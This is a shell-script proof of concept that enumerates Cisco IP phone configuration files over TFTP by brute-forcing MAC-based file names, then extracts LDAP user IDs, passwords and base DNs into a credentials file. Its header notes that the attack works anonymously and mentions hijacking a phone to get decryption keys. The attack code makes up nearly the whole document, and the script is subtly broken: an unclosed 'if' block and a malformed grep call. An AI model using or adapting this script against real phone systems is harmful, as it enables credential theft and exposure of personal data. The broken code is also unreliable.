    # Proof of Concept on how to get tftp config files from cisco phones#
    # This can be performed anonymously and privileges gathered relies on #
    # those assigned to the ldap account#
    # Developed by Daniel Svartman(danielsvartman@gmail.com #
    # In case tftp files are encrypted, you will need to hijack a phone #
    # and download the decryption key from the ROM memory #
    ####################################################################### 
    
    # This example below is for enumerating and downloading configuration files from phones
    # With this you can gather personal information and sometimes also credentials from LDAP
    # The first 8 digits of the MAC address relies on cisco mac address used by phones
    # While the last 4 are generated automatically
    
    BASE_MAC=$1
    TFTP_SERVER=$2
    
    perl -e '$var = 0x0001; for (1 .. 65535 ) { printf qq[%04X\n], $var++ }' > mac.txt
    
    #Now we should download the files
    while read LINE; do
    	tftp ${TFTP_SERVER} -c get SEP${BASE_MAC}${LINE}.cnf.xml
    done < mac.txt
    
    #Finally, we download and process also the SPDefault.cnf.xml file
    tftp ${TFTP_SERVER} -c get SPDefault.cnf.xml
    USERID=`grep "UseUserCredential"SPDefault.cnf.xml | cut -d ">" -f 6 | cut -d "<" -f 1`
    echo "USERID: " $USERID > credentials.txt
    PWD=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 8 | cut -d "<" -f 1`
    echo "PWD: " $PWD >> credentials.txt
    BASE_DN=`grep "UseUserCredential" SPDefault.cnf.xml | cut -d ">" -f 10 | cut -d "<" -f 1`
    echo "BASE_DN: " $BASE_DN >> credentials.txt
    while read LINE; do	
    			if [ "$LINE" = "<ProductType>Directory" ]; then
    				read LINE
    				ADDRESS=`echo $LINE | cut -d ">" -f 2 | cut -d "<" -f 1`

    done < SPDefault.cnf.xml
    
    echo "Done - Please, check credentials.txt file, also review all the SEPxxxx.cnf.xml files for further credentials"
